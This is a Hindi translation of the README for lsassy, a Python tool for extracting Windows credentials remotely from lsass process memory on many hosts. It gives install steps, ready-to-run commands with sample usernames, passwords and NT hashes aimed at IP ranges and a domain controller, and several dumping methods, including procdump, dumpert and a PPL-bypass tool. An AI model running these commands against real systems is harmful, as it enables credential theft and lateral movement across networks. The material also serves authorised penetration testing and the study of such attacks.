
lsass से दूरस्थ रूप से क्रेडेंशियल्स निकालें
होस्ट के एक सेट पर दूरस्थ रूप से क्रेडेंशियल निकालने के लिए Python टूल। यह ब्लॉग पोस्ट बताता है कि यह कैसे काम करता है।
यह टूल lsass डंप में आवश्यक बाइट्स को दूरस्थ रूप से पढ़ने के लिए impacket प्रोजेक्ट और क्रेडेंशियल निकालने के लिए pypykatz का उपयोग करता है।
| अध्याय | विवरण |
|---|---|
| चेतावनी | इस टूल का उपयोग करने से पहले, इसे पढ़ें |
| स्थापना | Lsassy स्थापना |
| मूल उपयोग | मूल lsassy उपयोग |
| उन्नत उपयोग | पैरामीटर स्पष्टीकरण के साथ उन्नत lsassy उपयोग |
| डंप विधि जोड़ें | कस्टम lsass डंप विधि कैसे जोड़ें |
| धन्यवाद | इन लोगों और टूल्स को धन्यवाद |
| आधिकारिक डिस्कॉर्ड | आधिकारिक डिस्कॉर्ड सर्वर |
हालाँकि मैंने टूल को स्थिर बनाने के लिए हर संभव प्रयास किया है, त्रुटियाँ होने पर निशान रह सकते हैं।
यह टूल या तो कुछ lsass डंप छोड़ सकता है यदि वह उन्हें हटाने में विफल रहता है (भले ही वह ऐसा करने की पूरी कोशिश करता है) या एक शेड्यूल किया गया कार्य चालू छोड़ सकता है यदि वह उसे हटाने में विफल रहता है। ऐसा नहीं होना चाहिए, लेकिन हो सकता है। अब, आप जानते हैं, इसे सावधानी से उपयोग करें।
lsassy python >= 3.7 के साथ काम करता है
python3 -m pip install lsassy
python3 setup.py install
lsassy कई लक्ष्यों (IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) जिसमें लक्ष्यों की सूची है) पर बॉक्स के बाहर काम करता है।
lsassy [-d domain] -u pixis -p P4ssw0rd targets
lsassy [-d domain] -u pixis -H [LM:]NT targets
डिफ़ॉल्ट रूप से, lsassy comsvcs.dll विधि का उपयोग करके दूरस्थ रूप से lsass डंप करने का प्रयास करेगा, या तो WMI के माध्यम से या दूरस्थ शेड्यूल किए गए कार्य के माध्यम से।
lsassy Kerberos के साथ प्रमाणित कर सकता है। इसके लिए KRB5CCNAME एनवायरनमेंट वेरिएबल में एक वैध TGT की आवश्यकता होती है। अधिक विवरण के लिए उन्नत उपयोग देखें।
lsassy -k targets
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10
lsassy में विभिन्न lsass डंपिंग विधियाँ लागू की गई हैं, और उपयोगकर्ता को यह नियंत्रण देने के लिए कुछ विकल्प प्रदान किए गए हैं कि टूल कैसे आगे बढ़ेगा।
lsassy मॉड्यूल में विभाजित है
+-----------+
| Writer |
+-----+-----+
|
|
+----------+ +-----+-----+ +---------+
| Parser |------| Core |----| Session |
+----------+ +-----+-----+ +---------+
|
|
+-----------+
| Dump |-+
| Methods | |-+ +----------+
+-----+-----+ | |----| File |
+-----------+ | +----------+
+------------+
|
|
+-----------+
| Exec |-+
| Methods | |-+
+-----+-----+ | |
+-----------+ |
+------------+
यह मॉड्यूल ऑर्केस्ट्रेटर है। यह प्रदान किए गए तर्कों और विकल्पों के साथ lsassy वर्ग बनाता है, और फिर क्रेडेंशियल प्राप्त करने के लिए विभिन्न मॉड्यूल को कॉल करता है।
यह मॉड्यूल लॉगिंग उद्देश्य के लिए उपयोग किया जाता है।
यह python के अंतर्निहित फ़ाइल ऑब्जेक्ट की तरह व्यवहार करने के लिए Impacket के ऊपर बनाई गई एक परत है। यह open, read, seek, या close जैसी विधियों को ओवरराइड करता है।
यह वह मॉड्यूल है जहाँ सभी डंपिंग तर्क होता है। उपयोग की गई विधि के आधार पर, यह दूरस्थ होस्ट पर lsass को डंप करने के लिए कोड निष्पादित करेगा।
यह मॉड्यूल pypykatz पर निर्भर करता है और दूरस्थ रूप से lsass डंप को पार्स करने के लिए lsassy फ़ाइल मॉड्यूल का उपयोग करता है।
यह मॉड्यूल आउटपुट भाग को संभालता है, या तो स्क्रीन पर विभिन्न प्रारूपों में और/या परिणामों को फ़ाइल में लिखता है।
यह टूल विभिन्न तरीकों से lsass डंप कर सकता है।
डंपिंग विधियाँ (-m या --method)
यह विधि केवल अंतर्निहित Windows फ़ाइलों का उपयोग करती है ताकि दूरस्थ क्रेडेंशियल निकाले जा सकें। यह lsass प्रक्रिया को डंप करने के लिए comsvcs.dll से minidump फ़ंक्शन का उपयोग करती है।
यह विधि lsass प्रक्रिया को डंप करने के लिए SysInternals से procdump.exe अपलोड करती है।
यह विधि lsass प्रक्रिया को syscalls का उपयोग करके डंप करने के लिए outflanknl से dumpert.exe या dumpert.dll अपलोड करती है।
यह विधि lsass प्रक्रिया को केवल NTAPIs का उपयोग करके डंप करने के लिए ricardojoserf से NativeDump.exe अपलोड करती है।
यह विधि lsass प्रक्रिया को डंप करने और PPL को बायपास करने के लिए itm4n से ppldump.exe अपलोड करती है।
यह विधि lsass को LSA प्लगइन के माध्यम से पहले से खुले हैंडल का उपयोग करके डंप करने के लिए Ccob से Mirrordump.exe अपलोड करती है।
यह विधि PowerSploit में उपयोग की जाने वाली WER तकनीक का उपयोग करती है।
कुछ डंपिंग विधियों के लिए, विकल्प आवश्यक हैं, जैसे procdump या dumpert पथ। इन विकल्पों को --options या -O के साथ एक अल्पविराम से अलग की गई सूची में key=value प्रारूप में सेट किया जा सकता है।
... --options key=value,foo=bar
उदाहरण के लिए:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll -O dumpertdll_path=/opt/dumpert.dll
आप --parse-only स्विच के साथ, --dump-path और --dump-name पैरामीटर के साथ पहले से डंप की गई lsass प्रक्रिया को पार्स करना चुन सकते हैं।